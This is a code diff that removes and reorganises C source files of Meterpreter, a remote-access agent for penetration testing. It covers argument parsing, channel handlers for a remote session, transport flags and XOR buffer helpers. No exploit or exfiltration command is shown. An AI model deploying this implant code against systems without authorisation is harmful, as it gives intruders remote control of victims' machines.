|
||||
if (index >= argc)
|
||||
return ERROR_NOT_FOUND;
|
||||
|
||||
// Is this a toggled parameter?
|
||||
if (argv[index][0] == '-')
|
||||
{
|
||||
PCHAR currentParam = params;
|
||||
BOOL hasParam = FALSE;
|
||||
|
||||
// Check to see if this argument expects a parameter
|
||||
while (*currentParam)
|
||||
{
|
||||
if (*currentParam == argv[index][1])
|
||||
{
|
||||
hasParam = (*(currentParam + 1) == ':') ? TRUE : FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
currentParam++;
|
||||
}
|
||||
|
||||
// If this param requires an argument yet is not given one, fail.
|
||||
if ((hasParam) &&
|
||||
(index + 1 >= argc))
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
ctx->argument = (hasParam) ? argv[index+1] : NULL;
|
||||
ctx->toggle = argv[index][1];
|
||||
|
||||
// Skip past the parameter.
|
||||
if (hasParam)
|
||||
++index;
|
||||
}
|
||||
else
|
||||
ctx->toggle = 0;
|
||||
|
||||
// Update the index
|
||||
ctx->currentIndex = ++index;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
@ -1,21 +0,0 @@
|
||||
/*!
|
||||
* @file args.h
|
||||
* @brief Definitions for argument parsing functionality.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_ARGS_H
|
||||
#define _METERPRETER_LIB_ARGS_H
|
||||
|
||||
#include "linkage.h"
|
||||
|
||||
/*! @brief State container for \c args_parse calls. */
|
||||
typedef struct
|
||||
{
|
||||
DWORD currentIndex; ///< The index of the argument being parsed.
|
||||
PCHAR argument; ///< Pointer to the current switch's argument.
|
||||
CHAR toggle; ///< Indicates of this parameter is a toggle parameter.
|
||||
} ArgumentContext;
|
||||
|
||||
LINKAGE DWORD args_parse(UINT argc, CHAR **argv, PCHAR params,
|
||||
ArgumentContext *ctx);
|
||||
|
||||
#endif
|
@ -1,608 +0,0 @@
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* core_channel_open
|
||||
* -----------------
|
||||
*
|
||||
* Opens a channel with the remote endpoint. The response handler for this
|
||||
* request will establish the relationship on the other side.
|
||||
*
|
||||
* opt: TLV_TYPE_CHANNEL_TYPE
|
||||
* The channel type to allocate. If set, the function returns, allowing
|
||||
* a further up extension handler to allocate the channel.
|
||||
*/
|
||||
DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Channel *newChannel;
|
||||
PCHAR channelType;
|
||||
DWORD flags = 0;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[CHANNEL] Opening new channel for packet %p", packet );
|
||||
|
||||
// If the channel open request had a specific channel type
|
||||
if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
// Get any flags that were supplied
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
|
||||
dprintf( "[CHANNEL] Opening %s %u", channelType, flags );
|
||||
|
||||
// Allocate a response
|
||||
response = packet_create_response(packet);
|
||||
|
||||
// Did the response allocation fail?
|
||||
if ((!response) || (!(newChannel = channel_create(0, flags))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf( "[CHANNEL] Opened %s %u", channelType, flags );
|
||||
|
||||
// Get the channel class and set it
|
||||
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
|
||||
|
||||
dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );
|
||||
|
||||
// Add the new channel identifier to the response
|
||||
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
|
||||
channel_get_id(newChannel))) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
// Transmit the response
|
||||
dprintf( "[CHANNEL] Sending response for %s", channelType );
|
||||
res = packet_transmit(remote, response, NULL);
|
||||
|
||||
dprintf( "[CHANNEL] Done" );
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_open (response)
|
||||
* -----------------
|
||||
*
|
||||
* Handles the response to a request to open a channel.
|
||||
*
|
||||
* This function takes the supplied channel identifier and creates a
|
||||
* channel list entry with it.
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier
|
||||
*/
|
||||
DWORD remote_response_core_channel_open(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS, channelId;
|
||||
Channel *newChannel;
|
||||
|
||||
do
|
||||
{
|
||||
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
// DId the request fail?
|
||||
if (!channelId)
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Create a local instance of the channel with the supplied identifier
|
||||
if (!(newChannel = channel_create(channelId, 0)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_write
|
||||
* ------------------
|
||||
*
|
||||
* Write data from a channel into the local output buffer for it
|
||||
*/
|
||||
DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS, channelId, written = 0;
|
||||
Tlv channelData;
|
||||
Channel * channel = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
// Try to locate the specified channel
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire( channel->lock );
|
||||
|
||||
// Get the channel data buffer
|
||||
if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
// Handle the write operation differently based on the class of channel
|
||||
switch (channel_get_class(channel))
|
||||
{
|
||||
// If it's buffered, write it to the local buffer cache
|
||||
case CHANNEL_CLASS_BUFFERED:
|
||||
res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written);
|
||||
break;
|
||||
// If it's non-buffered, call the native write operation handler if
|
||||
// one is implemented
|
||||
default:
|
||||
{
|
||||
NativeChannelOps *ops = (NativeChannelOps *)&channel->ops;
|
||||
if (ops->write)
|
||||
res = ops->write(channel, packet, ops->context,
|
||||
channelData.buffer, channelData.header.length,
|
||||
&written);
|
||||
else
|
||||
res = ERROR_NOT_SUPPORTED;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if( channel )
|
||||
lock_release( channel->lock );
|
||||
|
||||
// Transmit the acknowledgement
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
||||
|
||||
res = packet_transmit_response(res, remote, response);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_read
|
||||
* -----------------
|
||||
*
|
||||
* From from the local buffer and write back to the requester
|
||||
*
|
||||
* Takes TLVs:
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from
|
||||
* req: TLV_TYPE_LENGTH -- The number of bytes to read
|
||||
*/
|
||||
DWORD remote_request_core_channel_read(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId;
|
||||
Packet *response = packet_create_response(packet);
|
||||
PUCHAR temporaryBuffer = NULL;
|
||||
Channel *channel = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
if (!response)
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Get the number of bytes to read
|
||||
bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);
|
||||
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
// Try to locate the specified channel
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire( channel->lock );
|
||||
|
||||
// Allocate temporary storage
|
||||
if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
switch (channel_get_class(channel))
|
||||
{
|
||||
// If it's buffered, read from the local buffer and either transmit
|
||||
// the buffer in the response or write it back asynchronously
|
||||
// depending on the mode of the channel.
|
||||
case CHANNEL_CLASS_BUFFERED:
|
||||
// Read in from local
|
||||
res = channel_read_from_buffered(channel, temporaryBuffer,
|
||||
bytesToRead, (PULONG)&bytesRead);
|
||||
break;
|
||||
// Handle read I/O for the pool class
|
||||
case CHANNEL_CLASS_POOL:
|
||||
// If the channel has a read handler
|
||||
if (channel->ops.pool.read)
|
||||
res = channel->ops.pool.read(channel, packet,
|
||||
channel->ops.pool.native.context, temporaryBuffer,
|
||||
bytesToRead, &bytesRead);
|
||||
else
|
||||
res = ERROR_NOT_SUPPORTED;
|
||||
break;
|
||||
default:
|
||||
res = ERROR_NOT_SUPPORTED;
|
||||
}
|
||||
|
||||
// If we've so far been successful and we have a temporary buffer...
|
||||
if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead))
|
||||
{
|
||||
// If the channel should operate synchronously, add the data to theresponse
|
||||
if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS))
|
||||
{
|
||||
// if the channel data is ment to be compressed, compress it!
|
||||
if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
|
||||
packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead);
|
||||
else
|
||||
packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead);
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
}
|
||||
// Otherwise, asynchronously write the buffer to the remote endpoint
|
||||
else
|
||||
{
|
||||
if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if( channel )
|
||||
lock_release( channel->lock );
|
||||
|
||||
if (temporaryBuffer)
|
||||
free(temporaryBuffer);
|
||||
|
||||
// Transmit the acknowledgement
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
||||
|
||||
res = packet_transmit_response(res, remote, response);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_close
|
||||
* ------------------
|
||||
*
|
||||
* Closes a previously opened channel.
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
|
||||
*/
|
||||
DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS, channelId;
|
||||
Channel *channel = NULL;
|
||||
|
||||
dprintf("[CHANNEL] remote_request_core_channel_close.");
|
||||
|
||||
do
|
||||
{
|
||||
// Get the channel identifier
|
||||
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
// Try to locate the specified channel
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
dprintf("[CHANNEL] unable to find channel of id %d", channelId);
|
||||
break;
|
||||
}
|
||||
|
||||
// Destroy the channel
|
||||
dprintf("[CHANNEL] closing channel of id %d", channelId);
|
||||
channel_destroy(channel, packet);
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
// Transmit the acknowledgement
|
||||
if (response)
|
||||
{
|
||||
res = packet_transmit_response(res, remote, response);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_close (response)
|
||||
* ------------------
|
||||
*
|
||||
* Removes the local instance of the channel
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
|
||||
*/
|
||||
DWORD remote_response_core_channel_close(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS, channelId;
|
||||
Channel *channel = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
// Get the channel identifier
|
||||
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
// Try to locate the specified channel
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
// Destroy the channel
|
||||
channel_destroy(channel, packet);
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* core_channel_seek
|
||||
* -----------------
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on
|
||||
* req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to
|
||||
* req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers
|
||||
*/
|
||||
DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet)
|
||||
{
|
||||
Channel *channel = NULL;
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
// Lookup the channel by its identifier
|
||||
if (!(channel = channel_find_by_id(
|
||||
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
|
||||
{
|
||||
result = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire( channel->lock );
|
||||
|
||||
// Make sure this class is compatible
|
||||
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
|
||||
{
|
||||
result = ERROR_NOT_SUPPORTED;
|
||||
break;
|
||||
}
|
||||
|
||||
// Call the function if it's set
|
||||
if (channel->ops.pool.seek)
|
||||
result = channel->ops.pool.seek(channel, packet,
|
||||
channel->ops.pool.native.context,
|
||||
(LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET),
|
||||
packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE));
|
||||
else
|
||||
result = ERROR_NOT_SUPPORTED;
|
||||
|
||||
} while (0);
|
||||
|
||||
if( channel )
|
||||
lock_release( channel->lock );
|
||||
|
||||
// Transmit the result
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_eof
|
||||
* -----------------
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on
|
||||
*/
|
||||
DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet)
|
||||
{
|
||||
Channel *channel = NULL;
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
BOOL isEof = FALSE;
|
||||
|
||||
do
|
||||
{
|
||||
// Lookup the channel by its identifier
|
||||
if (!(channel = channel_find_by_id(
|
||||
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
|
||||
{
|
||||
result = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire( channel->lock );
|
||||
|
||||
// Make sure this class is compatible
|
||||
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
|
||||
{
|
||||
result = ERROR_NOT_SUPPORTED;
|
||||
break;
|
||||
}
|
||||
|
||||
// Call the function if it's set
|
||||
if (channel->ops.pool.eof)
|
||||
result = channel->ops.pool.eof(channel, packet,
|
||||
channel->ops.pool.native.context,
|
||||
&isEof);
|
||||
else
|
||||
result = ERROR_NOT_SUPPORTED;
|
||||
|
||||
} while (0);
|
||||
|
||||
if( channel )
|
||||
lock_release( channel->lock );
|
||||
|
||||
// Add the EOF flag
|
||||
packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_channel_tell
|
||||
* -----------------
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on
|
||||
*/
|
||||
DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet)
|
||||
{
|
||||
Channel *channel = NULL;
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
LONG offset = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Lookup the channel by its identifier
|
||||
if (!(channel = channel_find_by_id(
|
||||
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
|
||||
{
|
||||
result = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
lock_acquire( channel->lock );
|
||||
|
||||
// Make sure this class is compatible
|
||||
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
|
||||
{
|
||||
result = ERROR_NOT_SUPPORTED;
|
||||
break;
|
||||
}
|
||||
|
||||
// Call the function if it's set
|
||||
if (channel->ops.pool.tell)
|
||||
result = channel->ops.pool.tell(channel, packet,
|
||||
channel->ops.pool.native.context,
|
||||
&offset);
|
||||
else
|
||||
result = ERROR_NOT_SUPPORTED;
|
||||
|
||||
} while (0);
|
||||
|
||||
if( channel )
|
||||
lock_release( channel->lock );
|
||||
|
||||
// Add the offset
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset);
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* core_channel_interact
|
||||
* ---------------------
|
||||
*
|
||||
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with
|
||||
* req: TLV_TYPE_BOOL -- True if interactive, false if not.
|
||||
*/
|
||||
DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Channel *channel = NULL;
|
||||
DWORD channelId;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
BOOLEAN interact;
|
||||
|
||||
// Get the channel identifier
|
||||
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL);
|
||||
|
||||
// If the channel is found, set the interactive flag accordingly
|
||||
if ((channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
lock_acquire( channel->lock );
|
||||
|
||||
// If the response packet is valid
|
||||
if ((response) &&
|
||||
(channel_get_class(channel) != CHANNEL_CLASS_BUFFERED))
|
||||
{
|
||||
NativeChannelOps *native = (NativeChannelOps *)&channel->ops;
|
||||
|
||||
// Check to see if this channel has a registered interact handler
|
||||
dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context );
|
||||
if (native->interact) {
|
||||
result = native->interact(channel, packet, native->context, interact);
|
||||
}
|
||||
}
|
||||
|
||||
// Set the channel's interactive state
|
||||
channel_set_interactive(channel, interact);
|
||||
|
||||
lock_release( channel->lock );
|
||||
}
|
||||
|
||||
// Send the response to the requestor so that the interaction can be
|
||||
// complete
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* core_shutdown
|
||||
* -----------------
|
||||
*/
|
||||
DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult )
|
||||
{
|
||||
Channel *channel = NULL;
|
||||
Packet *response = packet_create_response( packet );
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
// Acknowledge the shutdown request
|
||||
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
|
||||
|
||||
// Transmit the response
|
||||
dprintf("[DISPATCH] Ack shutdown request");
|
||||
packet_transmit_response( result, remote, response );
|
||||
|
||||
*pResult = result;
|
||||
|
||||
dprintf("[DISPATCH] Telling dispatch loop to finish");
|
||||
// We always return FALSE here to tell the server to terminate.
|
||||
return FALSE;
|
||||
}
|
@ -1,9 +0,0 @@
|
||||
#ifndef _METERPRETER_LIB_BUFFER_H
|
||||
#define _METERPRETER_LIB_BUFFER_H
|
||||
|
||||
#include "linkage.h"
|
||||
|
||||
LINKAGE DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length);
|
||||
LINKAGE DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length);
|
||||
|
||||
#endif
|
@ -1,69 +0,0 @@
|
||||
/*!
|
||||
* @file common.c
|
||||
* @brief Definitions for various common components used across the Meterpreter suite.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
#define SLEEP_MAX_SEC (MAXDWORD / 1000)
|
||||
|
||||
/*!
|
||||
* @brief Returns a unix timestamp in UTC.
|
||||
* @return Integer value representing the UTC Unix timestamp of the current time.
|
||||
*/
|
||||
int current_unix_timestamp(void) {
|
||||
SYSTEMTIME system_time;
|
||||
FILETIME file_time;
|
||||
ULARGE_INTEGER ularge;
|
||||
|
||||
GetSystemTime(&system_time);
|
||||
SystemTimeToFileTime(&system_time, &file_time);
|
||||
|
||||
ularge.LowPart = file_time.dwLowDateTime;
|
||||
ularge.HighPart = file_time.dwHighDateTime;
|
||||
return (long)((ularge.QuadPart - 116444736000000000) / 10000000L);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Sleep for the given number of seconds.
|
||||
* @param seconds DWORD value representing the number of seconds to sleep.
|
||||
* @remark This was implemented so that extended sleep times can be used (beyond the
|
||||
* 49 day limit imposed by Sleep()).
|
||||
*/
|
||||
VOID sleep(DWORD seconds)
|
||||
{
|
||||
while (seconds > SLEEP_MAX_SEC)
|
||||
{
|
||||
Sleep(SLEEP_MAX_SEC * 1000);
|
||||
seconds -= SLEEP_MAX_SEC;
|
||||
}
|
||||
Sleep(seconds * 1000);
|
||||
}
|
||||
|
||||
VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize)
|
||||
{
|
||||
dprintf("[XOR] XORing %u bytes with key %02x%02x%02x%02x", bufferSize, xorKey[0], xorKey[1], xorKey[2], xorKey[3]);
|
||||
for (DWORD i = 0; i < bufferSize; ++i)
|
||||
{
|
||||
buffer[i] ^= xorKey[i % 4];
|
||||
}
|
||||
}
|
||||
|
||||
VOID rand_xor_key(BYTE buffer[4])
|
||||
{
|
||||
static BOOL initialised = FALSE;
|
||||
if (!initialised)
|
||||
{
|
||||
srand((unsigned int)time(NULL));
|
||||
initialised = TRUE;
|
||||
}
|
||||
|
||||
buffer[0] = (rand() % 254) + 1;
|
||||
buffer[1] = (rand() % 254) + 1;
|
||||
buffer[2] = (rand() % 254) + 1;
|
||||
buffer[3] = (rand() % 254) + 1;
|
||||
}
|
||||
|
||||
BOOL is_null_guid(BYTE guid[sizeof(GUID)])
|
||||
{
|
||||
return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE;
|
||||
}
|
@ -17,6 +17,25 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
// Simple trick to get the current meterpreters arch
|
||||
#define PROCESS_ARCH_UNKNOWN 0
|
||||
#define PROCESS_ARCH_X86 1
|
||||
#define PROCESS_ARCH_X64 2
|
||||
#define PROCESS_ARCH_IA64 3
|
||||
|
||||
#ifdef _WIN64
|
||||
#define dwMeterpreterArch PROCESS_ARCH_X64
|
||||
#else
|
||||
#define dwMeterpreterArch PROCESS_ARCH_X86
|
||||
#endif
|
||||
|
||||
typedef struct __UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} _UNICODE_STRING, * _PUNICODE_STRING;
|
||||
|
||||
typedef DWORD __u32;
|
||||
typedef struct ___u128 {
|
||||
__u32 a1;
|
||||
@ -34,34 +53,6 @@ typedef struct ___u128 {
|
||||
#undef X509_CERT_PAIR
|
||||
#undef X509_NAME
|
||||
|
||||
#include "linkage.h"
|
||||
|
||||
#include "args.h"
|
||||
#include "buffer.h"
|
||||
#include "base.h"
|
||||
#include "core.h"
|
||||
#include "remote.h"
|
||||
|
||||
#include "channel.h"
|
||||
#include "scheduler.h"
|
||||
#include "thread.h"
|
||||
#include "unicode.h"
|
||||
|
||||
#include "list.h"
|
||||
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
/*! @brief Indication that the Meterpreter transport is using TCP. */
|
||||
#define METERPRETER_TRANSPORT_TCP 0x1
|
||||
/*! @brief Indication that the Meterpreter transport is using HTTP. */
|
||||
#define METERPRETER_TRANSPORT_HTTP 0x2
|
||||
/*! @brief Indication that the Meterpreter transport is using HTTPS. */
|
||||
#define METERPRETER_TRANSPORT_HTTPS (0x4 | METERPRETER_TRANSPORT_HTTP)
|
||||
/*! @brief Indication that the Meterpreter transport is using named pipes. */
|
||||
#define METERPRETER_TRANSPORT_PIPE 0x8
|
||||
|
||||
VOID sleep(DWORD seconds);
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#if DEBUGTRACE == 1
|
||||
@ -107,9 +98,14 @@ static _inline void real_dprintf(char *format, ...)
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
#endif
|
||||
#include "common_base.h"
|
||||
#include "common_core.h"
|
||||
#include "common_remote.h"
|
||||
#include "common_channel.h"
|
||||
#include "common_list.h"
|
||||
#include "common_config.h"
|
||||
#include "common_pivot_tree.h"
|
||||
#include "common_thread.h"
|
||||
#include "common_scheduler.h"
|
||||
|
||||
int current_unix_timestamp(void);
|
||||
VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize);
|
||||
BOOL is_null_guid(BYTE guid[sizeof(GUID)]);
|
||||
VOID rand_xor_key(BYTE buffer[4]);
|
||||
#endif
|
||||
|
@ -1,110 +1,94 @@
|
||||
/*!
|
||||
* @file base.h
|
||||
* @brief Declarations, macros and types that apply to almost any Meterpreter component.
|
||||
*/
|
||||
#ifndef _METERPRETER_BASE_H
|
||||
#define _METERPRETER_BASE_H
|
||||
|
||||
#include "linkage.h"
|
||||
#include "core.h"
|
||||
|
||||
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
|
||||
typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);
|
||||
typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result);
|
||||
|
||||
/*! @brief Specifies the maximum number of arguments that are checked/handled
|
||||
* in a request/response packet dispatcher.
|
||||
*/
|
||||
#define MAX_CHECKED_ARGUMENTS 16
|
||||
|
||||
/*! @brief Flag indicating that the command arguments repeat. */
|
||||
#define ARGUMENT_FLAG_REPEAT (1 << 28)
|
||||
/*! @brief Mask indicating the range numbers allowed for command arguments. */
|
||||
#define ARGUMENT_FLAG_MASK 0x0fffffff
|
||||
|
||||
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
|
||||
#define EMPTY_TLV { 0 }, 0
|
||||
/*! @brief Helper macro which defines an empty dispatch handler. */
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
|
||||
/*! @brief Helper macro that defines terminator for command lists. */
|
||||
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a request handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a response handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with both a request and response handler.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline request handler only.
|
||||
* @remarks The request handler will be executed on the server thread.
|
||||
*/
|
||||
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline response handler only.
|
||||
* @remarks The response handler will be executed on the server thread.
|
||||
*/
|
||||
